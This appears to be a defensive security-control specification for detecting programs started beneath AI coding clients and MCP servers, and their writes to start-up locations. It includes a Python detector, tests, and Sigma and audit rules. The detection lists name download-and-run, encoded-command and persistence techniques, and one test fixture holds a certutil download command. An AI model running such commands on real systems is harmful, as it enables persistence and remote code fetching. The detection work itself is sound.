AID-D-005.012: AI Host Process Lineage & Persistence-Write Detection

Version 1.20261201 · Actionable sub-technique

Detect programs started anywhere beneath an AI host in the process tree, and writes that tree makes to login, start-up, and scheduled-execution locations, and attribute each finding to the AI host that caused it. An AI host here is an AI coding client or IDE with its extension host, a local agent runner, an MCP server process, or a self-hosted model or workflow server. The endpoint or platform security team uses process-start and file events from the operating system or the EDR, which record the acting process, its parent, and the command line, and follows the parent chain to the nearest AI host, because an agent's commands usually run several shells below the client.

An extension, plugin, hook, custom node, or MCP server can start a program without any model tool call. The agent's session and tool logs then look normal, and the action is visible only on the host. Shipping EDR detection content for AI coding clients and MCP servers, and incidents in which a trojanized extension or a malicious custom node set up SSH access, start-up entries, or miners, anchor this control.

This applies where an AI host runs on an endpoint or server the organization can instrument; a vendor-hosted agent with no customer-visible host is NOT_APPLICABLE. PASS requires that, for every inventoried AI host type, a test program started through each way the host starts programs and a test write to a monitored location each produce a finding that names the host, while ordinary build and test activity does not alert. A test that produces no finding is FAIL. An inventoried host with no process or file telemetry is INSUFFICIENT_DATA, and a rule or sensor that is not running is ERROR.

Pillars: infra, app

Lifecycle: operation

Scope boundary

Owns detection and attribution, from operating-system or EDR telemetry, of programs started beneath an inventoried AI host in the process tree and of that tree's writes to operating-system login, start-up, and scheduled-execution locations. It reports findings. It does not block the action, verify loaded modules against a release manifest, watch declared artifacts for drift, or remove what was planted.

AID-D-004.008: AID-D-005.012 reports which programs an AI host's process tree starts and which login or start-up locations it writes; AID-D-004.008 checks the code and modules mapped inside a runtime against a signed manifest. An approved binary started by an AI host that has no reason to start it passes module integrity and is still a finding here.

AID-D-004.001: AID-D-004.001 detects drift of declared artifacts from an approved manifest; AID-D-005.012 attributes writes to operating-system login and start-up locations, which no artifact manifest lists, to the AI host that made them.

AID-D-005.004: AID-D-005.004 records what the agent proposed and executed through its tool dispatcher; AID-D-005.012 records what the host observed, including programs that no tool call requested.

AID-I-004.006: AID-I-004.006 protects and audits writes to the agent's own identity and state files; AID-D-005.012 covers operating-system login, start-up, and scheduled-execution locations.

AID-H-021.001: AID-H-021.001 prevents insecure agent configuration on endpoints; AID-D-005.012 detects what a running AI host does after its configuration, extension, or plugin has been compromised.

AID-E-003.003: AID-E-003.003 removes confirmed malicious code and persistence artifacts; AID-D-005.012 supplies the findings that start that work and earns no eviction result.

AID-D-005.002: AID-D-005.002 owns the versioning, fixture replay, delivery, enabled-state readback, and health of detection rules; AID-D-005.012 defines what those rules must observe on AI hosts and adds the per-host-type check that each client's real process tree is covered.

AID-D-018: AID-D-018 measures detector efficacy over a fixed benign and attack scenario population on the production path; the per-host-type check in AID-D-005.012 shows only that each AI host type is observed and attributed. That check is a coverage fact for one control and is not an efficacy result.

Implementation guidance

AID-D-005.012-G001

Record every program started beneath an inventoried AI host, with its ancestry and command line, and alert on remote-access, persistence, and download-and-run commands.
Why the agent's own logs are not enough

An extension, plugin, hook, custom node or MCP server runs as code inside or beside the AI host. It can start a program without any model tool call, so the session and tool logs in AID-D-005.004 show nothing unusual. The operating system still records the new process and the process that started it. Endpoint vendors already ship detections built on that record: Elastic's public rule set includes GenAI or MCP Server Child Process Execution and Suspicious Command Execution from Visual Studio Code, and Cursor's notice about a malicious marketplace extension lists SSH, file-and-persistence and process command-line indicators.

Reference environment

Windows 10 or 11 developer endpoints with Microsoft Sysmon logging process creation (event ID 1), and Python 3.9 or later wherever the events are analysed. Sysmon gives every process a ProcessGuid and records its parent's ParentProcessGuid (Sysmon documentation), which is what lets a later job rebuild the chain. What was run on 2026-11-29: the 19 tests of ai_host_lineage.py (Python 3.13.14, pytest 9.2.0), on event records modelled on the process trees in Step 1; sigma check and sigma convert -t splunk -p sysmon -p splunk_windows on the Sigma rule (sigma-cli 4.0.1, pySigma 2.1.2, Sysmon pipeline 3.0.0, Splunk backend 3.0.1); and the conversion logic of the export command, against a different event log on Windows PowerShell 5.1. Nothing was run against a live Sysmon log, because Sysmon was not installed on the test machine. Step 4 is what proves the detection in your environment.

Step 1: List the AI hosts and read their real process trees

List the AI coding clients, agent runners, MCP servers and local model servers on managed machines from your software inventory or EDR. AID-M-001.006 lists internal model and agent servers, and AID-M-001.003 lists the plugins and skills installed in clients, which shows which clients are in use. For each one, start it on a test machine, have it run a command, and read the tree. Do not guess the executable names. On Windows (PowerShell):

Get-CimInstance Win32_Process |
  Select-Object ProcessId, ParentProcessId, Name, CommandLine

On Linux and macOS:

ps -eo pid,ppid,comm,args

The tree is deeper than one level. Read on 2026-11-29 on Windows 11 with Claude Code 2.1.332 running inside VS Code: a command run through the agent's Bash tool was Code.exe → Code.exe → claude.exe → bash.exe → bash.exe → bash.exe → program, and one run through its PowerShell tool was claude.exe → cmd.exe → powershell.exe → program. In the first case every bash.exe level carried the full command text. In the second the script reached PowerShell through an environment variable, so no command text was on any command line. Either way the program itself started three or four levels below the client, so a rule that looks only at the direct child of the AI host misses it. Other clients and versions differ, which is why you read the tree. MCP servers and agents installed as packages run under node, python or a similar interpreter, so they are recognised by their command line, for example a path containing @modelcontextprotocol, not by the image name. Keep the list in version control; a client that is installed but missing from the list is a coverage gap.

Step 2: Confirm that process starts carry the parent

Check one real event before writing rules. A Sysmon event 1 must show Image, CommandLine, ProcessGuid, ParentProcessGuid, ParentImage and ParentCommandLine. Without the parent fields this control cannot attribute anything.

Step 3: Follow each program up to the AI host

The script below reads process-start events, follows each new process up its parent chain to the nearest AI host, and reports two things. With --all-children it prints every program started under an AI host, which is the searchable record an investigator needs. Without it, it prints only the alerts: a remote-access or persistence tool started anywhere under an AI host, or a shell under an AI host whose command line contains a persistence, download-and-run or re-parenting command. One command gives one alert: the first matching process below the AI host is reported, with the matching processes beneath it listed in beneath. A developer machine starts compilers, package managers and shells all day, so an allow-list of every permitted child is not practical there; the alert targets what an AI client has little reason to start.

# File: ai_host_lineage.py -- Python 3.9+, standard library only
"""Attribute Sysmon process starts and file creations to an AI host ancestor.

Input: JSON lines, one Sysmon event per line, with Sysmon's own field names
(EventID, UtcTime, ProcessGuid, ParentProcessGuid, Image, ParentImage,
CommandLine, ParentCommandLine, TargetFilename). Event 1 is a process start;
event 11 is a file creation or overwrite. Output: one JSON line per finding.
"""
from __future__ import annotations

import argparse
import json
import sys

# Lower-case image suffixes of AI hosts. Extend with the list from Step 1.
AI_HOSTS = ("\\code.exe", "\\cursor.exe", "\\windsurf.exe", "\\claude.exe",
            "\\codex.exe", "\\ollama.exe")
# Interpreters are an AI host only when their command line says so: an MCP
# server, or an agent installed as a package. Add the markers from Step 1.
INTERPRETERS = ("\\node.exe", "\\deno.exe", "\\bun.exe", "\\python.exe",
                "\\pythonw.exe")
AI_HOST_COMMANDS = ("@modelcontextprotocol/", "mcp-server-", "mcp_server",
                    "openclaw", "moltbot", "clawdbot")
SHELLS = ("\\cmd.exe", "\\powershell.exe", "\\pwsh.exe", "\\bash.exe",
          "\\sh.exe", "\\wsl.exe")
RISKY_TOOLS = ("\\schtasks.exe", "\\sc.exe", "\\sshd.exe", "\\bitsadmin.exe",
               "\\certutil.exe", "\\mshta.exe")
RISKY_COMMANDS = ("schtasks", "register-scheduledtask", "authorized_keys",
                  "currentversion\\run", "new-service", "-encodedcommand",
                  " -enc ", "frombase64string", "downloadstring",
                  "invoke-webrequest", "bitsadmin", "certutil",
                  # launchers that make the new program a child of something else
                  "wmic", "invoke-cimmethod", "invoke-wmimethod", "explorer.exe ")
# A walk that reaches one of these without meeting an AI host is a clear negative.
ROOTS = ("\\explorer.exe", "\\services.exe", "\\svchost.exe", "\\wininit.exe",
         "\\winlogon.exe", "\\userinit.exe")
# Package installs write .pth files all day; turn this on only on servers
# that do not install packages at run time.
WATCH_PYTHON_HOOKS = False
BOM = chr(0xFEFF)  # Windows PowerShell 5.1 starts UTF-8 files with it


def is_ai_host(image, command=""):
    # Package paths appear with either separator, e.g. node_modules\@modelcontextprotocol\...
    image, command = (image or "").lower(), (command or "").lower().replace("\\", "/")
    return image.endswith(AI_HOSTS) or (
        image.endswith(INTERPRETERS)
        and any(marker in command for marker in AI_HOST_COMMANDS))


def is_startup_location(target):
    path = (target or "").lower()
    if "\\start menu\\programs\\startup\\" in path:
        return True
    if path.endswith(("\\.ssh\\authorized_keys", "\\ssh\\administrators_authorized_keys")):
        return True
    if path.endswith("profile.ps1") and ("\\windowspowershell\\" in path
                                         or "\\powershell\\" in path):
        return True  # every PowerShell profile, including host-specific ones
    return WATCH_PYTHON_HOOKS and "\\site-packages\\" in path and path.endswith(
        (".pth", "\\sitecustomize.py", "\\usercustomize.py"))


def is_risky(event):
    image = (event.get("Image") or "").lower()
    command = (event.get("CommandLine") or "").lower()
    return image.endswith(RISKY_TOOLS) or (
        image.endswith(SHELLS) and any(text in command for text in RISKY_COMMANDS))


def load(lines):
    """Return (process starts by ProcessGuid, events sorted by UtcTime)."""
    starts, events = {}, []
    for number, line in enumerate(lines, 1):
        line = line.strip().lstrip(BOM)
        if not line:
            continue
        try:
            event = json.loads(line)
            event_id = int(event["EventID"])
        except (ValueError, KeyError, TypeError) as exc:
            raise SystemExit(f"line {number}: not a Sysmon event record ({exc})")
        if event_id == 1:
            starts[event["ProcessGuid"]] = event
        if event_id in (1, 11):
            events.append((event_id, event))
    events.sort(key=lambda item: item[1].get("UtcTime") or "")  # Get-WinEvent is newest first
    return starts, events


def ancestry(starts, event):
    """Walk from a process towards the root.

    Returns (host, chain, resolved). host is the nearest AI host as
    (guid, image), or None. chain lists (guid, image) from the parent upwards
    and ends with the host. resolved is False when the records ran out before
    the walk reached an AI host or a session root: the answer is then unknown.
    """
    chain, current = [], event
    for _ in range(len(starts) + 1):
        guid = current.get("ParentProcessGuid")
        parent = starts.get(guid)
        if parent:
            image, command = parent.get("Image"), parent.get("CommandLine")
        else:  # the parent started before the export; its image and command line remain
            image, command = current.get("ParentImage"), current.get("ParentCommandLine")
        if not image:
            return None, chain, False
        chain.append((guid, image))
        if is_ai_host(image, command):
            return (guid, image), chain, True
        if image.lower().endswith(ROOTS):
            return None, chain, True
        if parent is None:
            return None, chain, False
        current = parent
    return None, chain, False


def analyse(lines, all_children=False, since=""):
    """Return (findings, reportable events whose ancestry is unknown, latest UtcTime).

    A risky process and the risky processes beneath it are one command and give
    one alert. Events at or before `since` (a Sysmon UtcTime) are used to follow
    ancestry but are not reported again.
    """
    starts, events = load(lines)

    def new(event):
        return (event.get("UtcTime") or "") > since

    findings, unresolved, risky = [], 0, {}
    for event_id, event in events:
        if event_id != 1:
            continue
        flagged = is_risky(event)
        if not flagged and not (all_children and new(event)):
            continue
        host, chain, resolved = ancestry(starts, event)
        if host is None:
            unresolved += 1 if flagged and new(event) and not resolved else 0
        elif flagged:
            risky[event["ProcessGuid"]] = (event, host, chain)
        else:
            findings.append({
                "rule": "ai_host_child_start", "utc_time": event.get("UtcTime"),
                "ai_host": host[1], "ancestors": [image for _, image in chain],
                "image": event.get("Image"), "command_line": event.get("CommandLine")})

    groups = {}
    for guid, (event, host, chain) in risky.items():
        top = guid
        for ancestor, _ in reversed(chain[:-1]):  # nearest the AI host first
            if ancestor in risky:
                top = ancestor
                break
        groups.setdefault(top, []).append(event)
    for top, members in groups.items():
        event, host, chain = risky[top]
        if not new(event):
            continue
        findings.append({
            "rule": "ai_host_risky_child", "utc_time": event.get("UtcTime"),
            "ai_host": host[1], "ancestors": [image for _, image in chain],
            "image": event.get("Image"), "command_line": event.get("CommandLine"),
            "beneath": [m.get("Image") for m in members if m is not event]})

    for event_id, event in events:
        if event_id != 11 or not new(event) or not is_startup_location(event.get("TargetFilename")):
            continue
        image = event.get("Image") or ""
        writer = starts.get(event.get("ProcessGuid"))
        if is_ai_host(image, writer.get("CommandLine") if writer else ""):
            host_image, chain = image, []
        elif image.lower().endswith(ROOTS):
            continue  # Explorer or a service wrote it, not an AI host
        elif writer is None:
            unresolved += 1  # the writer started before the export began
            continue
        else:
            host, pairs, resolved = ancestry(starts, writer)
            if host is None:
                unresolved += 0 if resolved else 1
                continue
            host_image, chain = host[1], [i for _, i in pairs]
        findings.append({
            "rule": "ai_host_startup_write", "utc_time": event.get("UtcTime"),
            "ai_host": host_image, "ancestors": chain, "image": image,
            "target_filename": event.get("TargetFilename")})

    findings.sort(key=lambda f: f["utc_time"] or "")
    latest = max((e.get("UtcTime") or "" for _, e in events), default=since)
    return findings, unresolved, latest


def main(argv=None):
    parser = argparse.ArgumentParser(description=__doc__.splitlines()[0])
    parser.add_argument("events", help="JSON lines file of Sysmon events 1 and 11")
    parser.add_argument("--all-children", action="store_true",
                        help="also print every program started under an AI host")
    parser.add_argument("--since", default="",
                        help="report only events after this Sysmon UtcTime (the last run's latest=)")
    args = parser.parse_args(argv)
    with open(args.events, encoding="utf-8") as handle:
        findings, unresolved, latest = analyse(handle, args.all_children, args.since)
    for finding in findings:
        print(json.dumps(finding))
    alerts = sum(1 for f in findings if f["rule"] != "ai_host_child_start")
    print(f"alerts={alerts} unresolved_ancestry={unresolved} latest={latest}", file=sys.stderr)
    return 0


if __name__ == "__main__":
    sys.exit(main())

Export the events on the endpoint, or have your SIEM export the same Sysmon fields as JSON lines:

# Export Sysmon process-start (1) and file-creation (11) events as JSON lines.
# Export the whole log: the script needs the start record of long-running parents,
# such as the AI client opened this morning. Limit what is reported with --since.
Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-Sysmon/Operational'; Id = 1, 11 } |
  ForEach-Object {
    $record = [ordered]@{ EventID = $_.Id }
    foreach ($field in ([xml]$_.ToXml()).Event.EventData.Data) { $record[$field.Name] = $field.'#text' }
    $record | ConvertTo-Json -Compress
  } | Set-Content -Encoding UTF8 sysmon-events.jsonl
python ai_host_lineage.py sysmon-events.jsonl                  # alerts only
python ai_host_lineage.py sysmon-events.jsonl --all-children   # every program started under an AI host

# Scheduled: report only what is new since the previous run.
python ai_host_lineage.py sysmon-events.jsonl --since "2026-11-29 08:00:00.000"
# The last line on standard error ends with latest=<UtcTime>; store it for the next --since.

Export with an account that is allowed to read the Sysmon log. Run the script as a scheduled job with --since and send its output lines to your alert destination. Every run reads the whole export, so that a program started now can still be traced to a client opened hours ago, and reports only events newer than --since, so an alert is sent once. The last line it prints, on standard error, also counts the new alert-relevant events whose ancestry could not be followed because a process in the chain is no longer in the log. Treat a count above zero as unreviewed events, not as clean, and enlarge the Sysmon log so that it covers the time an AI client usually stays open. Extend AI_HOSTS with the executables from Step 1, AI_HOST_COMMANDS with the command-line markers of the interpreter-based hosts, and RISKY_TOOLS with your own remote-management tools. ssh.exe is left out on purpose, because Git and remote-development extensions start it in normal work. To re-run the tests, save the file below next to the script and run python -m pytest -q.

# File: test_ai_host_lineage.py -- run with: python -m pytest -q
import json

import pytest

import ai_host_lineage
from ai_host_lineage import analyse

CLAUDE = r"C:\Users\dev\.vscode\extensions\anthropic.claude-code\resources\native-binary\claude.exe"
CODE = r"C:\Users\dev\AppData\Local\Programs\Microsoft VS Code\Code.exe"
BASH = r"C:\Program Files\Git\usr\bin\bash.exe"
CMD = r"C:\Windows\System32\cmd.exe"
POWERSHELL = r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
NODE = r"C:\Program Files\nodejs\node.exe"
SCHTASKS = r"C:\Windows\System32\schtasks.exe"
CERTUTIL = r"C:\Windows\System32\certutil.exe"
EXPLORER = r"C:\Windows\explorer.exe"
STARTUP = r"C:\Users\dev\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aidefend-test.txt"
VSCODE_PROFILE = r"C:\Users\dev\Documents\PowerShell\Microsoft.VSCode_profile.ps1"
SITE = r"C:\srv\venv\Lib\site-packages"
CLOCK = iter(range(1, 10000))


def start(guid, image, parent_guid, parent_image, command="", at=None):
    return {"EventID": 1, "UtcTime": at or f"2026-11-29 01:00:{next(CLOCK) % 60:02d}.{next(CLOCK):03d}",
            "ProcessGuid": guid, "ParentProcessGuid": parent_guid, "Image": image,
            "ParentImage": parent_image, "CommandLine": command or image}


def write(guid, image, target, at="2026-11-29 02:00:00.000"):
    return {"EventID": 11, "UtcTime": at, "ProcessGuid": guid,
            "Image": image, "TargetFilename": target}


def run(events, **kwargs):
    findings, unresolved, _ = analyse([json.dumps(e) for e in events], **kwargs)
    return findings, unresolved


# The AI host started before the export, so it has no event of its own. As read on a
# real machine, every bash level of the Bash tool carries the full command text.
TOOL_TEXT = 'bash.exe -c "source snapshot.sh && eval \'schtasks /query\'"'
BASH_TOOL = [
    start("b1", BASH, "claude", CLAUDE, TOOL_TEXT, at="2026-11-29 01:00:00.001"),
    start("b2", BASH, "b1", BASH, TOOL_TEXT, at="2026-11-29 01:00:00.002"),
    start("b3", BASH, "b2", BASH, TOOL_TEXT, at="2026-11-29 01:00:00.003"),
    start("s1", SCHTASKS, "b3", BASH, "schtasks /query", at="2026-11-29 01:00:00.004"),
]
POWERSHELL_TOOL = [
    start("c1", CMD, "claude", CLAUDE, "cmd.exe /d /s /c chcp 65001 & powershell.exe -NoProfile"),
    start("p1", POWERSHELL, "c1", CMD, "powershell.exe -NoProfile -NonInteractive"),
]


def test_one_command_through_three_shells_gives_one_alert_naming_the_agent():
    findings, unresolved = run(BASH_TOOL)
    assert len(findings) == 1 and unresolved == 0
    alert = findings[0]
    assert alert["rule"] == "ai_host_risky_child" and alert["ai_host"] == CLAUDE
    assert alert["image"] == BASH and alert["ancestors"] == [CLAUDE]
    assert alert["beneath"] == [BASH, BASH, SCHTASKS]


def test_newest_first_export_order_gives_the_same_alert():
    assert run(list(reversed(BASH_TOOL))) == run(BASH_TOOL)


def test_program_started_by_a_shell_whose_command_line_carries_no_script():
    findings, _ = run(POWERSHELL_TOOL + [start("t1", CERTUTIL, "p1", POWERSHELL, "certutil -urlcache -f http://x/y z")])
    assert len(findings) == 1 and findings[0]["ai_host"] == CLAUDE
    assert findings[0]["ancestors"] == [POWERSHELL, CMD, CLAUDE]


def test_shell_started_directly_by_an_extension_host_with_a_risky_command():
    findings, _ = run([start("x1", CMD, "code", CODE, 'cmd.exe /d /s /c "schtasks /create /tn x /tr y"')])
    assert len(findings) == 1 and findings[0]["ai_host"] == CODE


def test_mcp_server_running_under_node_is_recognised_by_its_command_line():
    events = [start("m1", NODE, "explorer", EXPLORER, "node.exe npx-cache\\@modelcontextprotocol\\server-filesystem\\dist\\index.js"),
              start("m2", CMD, "m1", NODE, "cmd.exe /c schtasks /create /tn x /tr y")]
    findings, _ = run(events)
    assert len(findings) == 1 and findings[0]["ai_host"] == NODE


def test_node_build_script_is_not_an_ai_host():
    events = [start("n1", NODE, "explorer", EXPLORER, "node.exe build.js"),
              start("n2", CMD, "n1", NODE, "cmd.exe /c schtasks /query")]
    assert run(events) == ([], 0)


def test_ordinary_build_activity_is_recorded_only_on_request():
    events = POWERSHELL_TOOL + [start("n1", NODE, "p1", POWERSHELL, "node build.js")]
    assert run(events) == ([], 0)
    findings, _ = run(events, all_children=True)
    assert {f["rule"] for f in findings} == {"ai_host_child_start"} and len(findings) == 3


def test_same_command_from_a_terminal_the_ai_host_did_not_start_is_silent():
    events = [start("u1", POWERSHELL, "explorer", EXPLORER),
              start("u2", SCHTASKS, "u1", POWERSHELL, "schtasks /query")]
    assert run(events) == ([], 0)


def test_risky_start_with_unknown_ancestry_is_counted_not_dropped():
    findings, unresolved = run([start("s9", SCHTASKS, "gone", POWERSHELL, "schtasks /query")])
    assert findings == [] and unresolved == 1


def test_scheduled_runs_report_each_alert_once():
    first = start("x1", CMD, "code", CODE, "cmd.exe /c schtasks /create /tn a /tr b", at="2026-11-29 01:00:00.000")
    second = start("x2", CMD, "code", CODE, "cmd.exe /c schtasks /create /tn c /tr d", at="2026-11-29 03:00:00.000")
    lines = [json.dumps(e) for e in (first, second)]
    _, _, latest = analyse(lines[:1])
    findings, _, latest = analyse(lines, since=latest)
    assert [f["command_line"] for f in findings] == [second["CommandLine"]]
    assert analyse(lines, since=latest)[0] == []


def test_startup_write_by_the_ai_host_process_itself():
    findings, _ = run([write("claude", CLAUDE, STARTUP)])
    assert [f["rule"] for f in findings] == ["ai_host_startup_write"]
    assert findings[0]["ai_host"] == CLAUDE and findings[0]["ancestors"] == []


def test_startup_write_by_a_shell_the_ai_host_started():
    findings, _ = run(POWERSHELL_TOOL + [write("p1", POWERSHELL, STARTUP)])
    assert len(findings) == 1
    assert findings[0]["ai_host"] == CLAUDE and findings[0]["ancestors"] == [CMD, CLAUDE]


def test_host_specific_powershell_profile_is_watched():
    findings, _ = run([write("code", CODE, VSCODE_PROFILE)])
    assert len(findings) == 1


def test_startup_write_from_an_unrelated_terminal_or_explorer_is_silent():
    events = [start("u1", POWERSHELL, "explorer", EXPLORER), write("u1", POWERSHELL, STARTUP),
              write("explorer", EXPLORER, STARTUP)]
    assert run(events) == ([], 0)


def test_project_file_written_by_the_ai_host_is_silent():
    assert run([write("claude", CLAUDE, r"C:\src\app\main.py")]) == ([], 0)


def test_startup_write_by_a_process_with_no_start_record_is_counted():
    findings, unresolved = run([write("gone", POWERSHELL, STARTUP)])
    assert findings == [] and unresolved == 1


def test_python_start_up_hooks_are_watched_only_when_enabled(monkeypatch):
    events = [write("code", CODE, SITE + r"\evil.pth"), write("code", CODE, SITE + r"\sitecustomize.py"),
              write("code", CODE, r"C:\models\checkpoint.pth")]
    assert run(events) == ([], 0)
    monkeypatch.setattr(ai_host_lineage, "WATCH_PYTHON_HOOKS", True)
    findings, _ = run(events)
    assert [f["target_filename"] for f in findings] == [SITE + r"\evil.pth", SITE + r"\sitecustomize.py"]


def test_byte_order_mark_from_windows_powershell_export_is_accepted():
    lines = [chr(0xFEFF) + json.dumps(start("x1", SCHTASKS, "code", CODE, "schtasks /query"))]
    assert len(analyse(lines)[0]) == 1


def test_malformed_record_stops_the_run():
    with pytest.raises(SystemExit):
        analyse(['{"EventID": 1, "Image": '])

Platforms that evaluate one event at a time. This Sigma rule is the direct-child form of the same logic. It catches an extension, hook or plugin that starts a program straight from the AI host process, and a first shell whose command line carries the command, as with the Bash tool in Step 1. It misses a command passed in another way, as with the PowerShell tool, and every program started further down. Convert it with the Sysmon pipeline so that the query is limited to event ID 1, and manage it under AID-D-005.002.

title: AI Host Directly Starts A Remote-Access, Persistence Or Download-And-Run Command
id: 5d3dc8ab-84c3-4251-b99c-1269e8a503da
status: experimental
description: The process of an AI coding client, local agent runner, MCP server or local model server is the direct parent of a program, or of a shell command line, that sets up remote access or persistence or downloads and runs code. Programs started further down the tree need the ancestry join.
author: your-detection-team
date: 2026-11-29
tags:
    - attack.execution
    - attack.persistence
logsource:
    category: process_creation
    product: windows
detection:
    ai_host:
        ParentImage|endswith:
            - '\Code.exe'
            - '\Cursor.exe'
            - '\Windsurf.exe'
            - '\claude.exe'
            - '\codex.exe'
            - '\ollama.exe'
    ai_host_by_command:
        ParentImage|endswith:
            - '\node.exe'
            - '\deno.exe'
            - '\bun.exe'
            - '\python.exe'
            - '\pythonw.exe'
        ParentCommandLine|contains:
            - '@modelcontextprotocol'
            - 'mcp-server-'
            - 'mcp_server'
            - 'openclaw'
            - 'moltbot'
            - 'clawdbot'
    direct_tool:
        Image|endswith:
            - '\schtasks.exe'
            - '\sc.exe'
            - '\sshd.exe'
            - '\bitsadmin.exe'
            - '\certutil.exe'
            - '\mshta.exe'
    shell:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\bash.exe'
            - '\sh.exe'
            - '\wsl.exe'
    risky_command:
        CommandLine|contains:
            - 'schtasks'
            - 'Register-ScheduledTask'
            - 'authorized_keys'
            - 'CurrentVersion\Run'
            - 'New-Service'
            - '-EncodedCommand'
            - ' -enc '
            - 'FromBase64String'
            - 'DownloadString'
            - 'Invoke-WebRequest'
            - 'bitsadmin'
            - 'certutil'
            - 'wmic'
            - 'Invoke-CimMethod'
            - 'Invoke-WmiMethod'
            - 'explorer.exe '
    condition: (ai_host or ai_host_by_command) and (direct_tool or (shell and risky_command))
falsepositives:
    - A developer who asks the agent to create a scheduled task or download a file
level: medium

EDR with ancestry. If your sensor records ancestry, use it instead of the script. Elastic Defend records the identifiers of a process's ancestors in process.Ext.ancestry, and Elastic's public rule Elastic Defend Alerts from GenAI Utility or Descendant uses it. Microsoft Defender for Endpoint's DeviceProcessEvents table names the new process, its parent in InitiatingProcessFileName and its grandparent in InitiatingProcessParentFileName; that is two levels, so a program three shells down needs a join on the process identifiers. A vendor-maintained rule is installed and tested as described in AID-D-005.002-G003.

Servers. A model server, workflow server or MCP gateway host should start very few programs. There, alert on any child that is not on a short approved list. On Linux, run the server under its own account and record what that account executes:

# /etc/audit/rules.d/ai-host.rules -- the AI server runs as its own account (uid 1500 is a placeholder)
-a always,exit -F arch=b64 -S execve -F uid=1500 -k ai_host_exec

Search with ausearch -k ai_host_exec and compare the exe values with the approved list. The audit rule was not executed for this guidance.

macOS. osquery's es_process_events table records pid, parent, path and cmdline for each program start. It needs --disable_events=false and --disable_endpointsecurity=false, and Full Disk Access for the osquery daemon (osquery process auditing). Follow parent upwards in the same way. This was not executed for this guidance.

Step 4: Test through every way the client starts programs

On a test machine, ask the agent to run schtasks /query, which only lists scheduled tasks, through each command tool it has. Then make the client start the same command without the model: from a hook, a task, or an extension, whichever the client supports. Each run must produce an alert that names the AI client and shows the chain between it and schtasks.exe. Then build and test a project with the same client: no alert, and the child-start records are present. Repeat for each AI host type in the list. An AI host type, or a way of starting programs, that produces no alert in this test is a failure of this control, whatever the rule file says.

Limits

The parent link is lost when a program is started through the task scheduler, a service, WMI, or Explorer: the walk then ends at a system process and reports nothing for that program. The script alerts on the shell command that used such a launcher, and the persistence-write guidance in AID-D-005.012-G002 covers the step that sets up a scheduled or start-up launch. A PowerShell cmdlet such as Register-ScheduledTask runs inside an existing PowerShell process and starts no program; when the client does not put the script on the command line, as in Step 1, only PowerShell script block logging (event ID 4104) records it. Commands a developer types in the integrated terminal of an AI-enabled IDE have the same ancestry as the agent's commands, so triage with the chain in the finding. An attacker can run a renamed or permitted binary. The finding reports a start; it does not block it and does not prove intent. Blocking belongs to AID-I-001.002 and AID-H-021.001.

AID-D-005.012-G002

Attribute writes to login, start-up, and scheduled-execution locations to the AI host process tree that made them.
What to watch

Watch the locations the operating system reads at logon or start-up, and the files that grant remote logon. An AI host has little reason to write them.

Reference environment

Windows 10 or 11 endpoints with Microsoft Sysmon logging file creation (event ID 11), which records the writing process in Image and ProcessGuid and the path in TargetFilename. Sysmon logs this event when a file is created or overwritten. It does not log a line appended to a file that already exists, which is the usual way to add a key to authorized_keys or a command to a profile; see Step 3. The Sigma rule passed sigma check and converted with sigma convert -t splunk -p sysmon -p splunk_windows (sigma-cli 4.0.1, pySigma 2.1.2, Sysmon pipeline 3.0.0) on 2026-11-29. The script and tests in AID-D-005.012-G001 cover file events as well and were run the same day. Neither was run against a live Sysmon log.

Step 1: Writes made by the AI host process itself

No new process is needed for this case. Wiz's GhostApproval research describes six AI coding assistants following a symbolic link, so that a write the user approved for a project file landed outside the workspace. The writer is the assistant's own process, so a process-start rule sees nothing.

title: AI Host Process Writes To A Login Or Startup Location
id: e59411f9-1132-4d5b-9563-ae9f1bf0fca6
status: experimental
description: The process of an AI coding client, local agent runner or local model server itself creates or overwrites a file in a location that the operating system reads at logon or that grants remote logon. Writes made by a program it started, and writes by an MCP server running under an interpreter, need the ancestry join.
author: your-detection-team
date: 2026-11-29
tags:
    - attack.persistence
logsource:
    category: file_event
    product: windows
detection:
    ai_host:
        Image|endswith:
            - '\Code.exe'
            - '\Cursor.exe'
            - '\Windsurf.exe'
            - '\claude.exe'
            - '\codex.exe'
            - '\ollama.exe'
    startup_location:
        - TargetFilename|contains: '\Start Menu\Programs\Startup\'
        - TargetFilename|endswith:
            - '\.ssh\authorized_keys'
            - '\ssh\administrators_authorized_keys'
        - TargetFilename|contains:
            - '\WindowsPowerShell\'
            - '\PowerShell\'
          TargetFilename|endswith: 'profile.ps1'
    condition: ai_host and startup_location
falsepositives:
    - A developer who asks the agent to edit their own PowerShell profile
level: high

Use the same AI host list as AID-D-005.012-G001. Convert with the Sysmon pipeline so that the query is limited to event ID 11. Run keys in the registry are a start-up location too; they need registry events (Sysmon event 13) and a separate rule with the same host list.

Step 2: Writes made by a program the AI host started

A file event names only the process that wrote the file. When the writer is a shell or script that the AI host started, attribution needs the ancestry of that process. ai_host_lineage.py from AID-D-005.012-G001 does this: include event ID 11 in the export, as the export command there already does, and the script applies the same path list to each file event and follows the writer's ProcessGuid up to the AI host. To watch Python start-up hooks on a server, set WATCH_PYTHON_HOOKS = True; it then matches those names only inside site-packages.

EDR with ancestry. Microsoft Defender for Endpoint's DeviceFileEvents table names the writer in InitiatingProcessFileName and the writer's parent in InitiatingProcessParentFileName. That is one level above the writer; say so in the rule notes, because a write made further down is then outside coverage unless you join on the process identifiers. Elastic Defend records the ancestors of the writer in process.Ext.ancestry.

Linux. Audit watches record the executable and the parent process ID of the writer. The rules below were not executed for this guidance.

# /etc/audit/rules.d/ai-host.rules -- paths are placeholders for the accounts that run AI hosts
-w /home/dev/.ssh/authorized_keys -p wa -k ai_persist
-w /home/dev/.bashrc -p wa -k ai_persist
-w /home/dev/.profile -p wa -k ai_persist
-w /home/dev/.config/systemd/user -p wa -k ai_persist
-w /etc/systemd/system -p wa -k ai_persist
-w /etc/cron.d -p wa -k ai_persist

macOS. osquery's es_process_file_events table records the writing process (pid, parent, path) and the file name for each file event; it needs --disable_endpointsecurity_fim=false in addition to the flags for process events (osquery flags). This was not executed for this guidance.

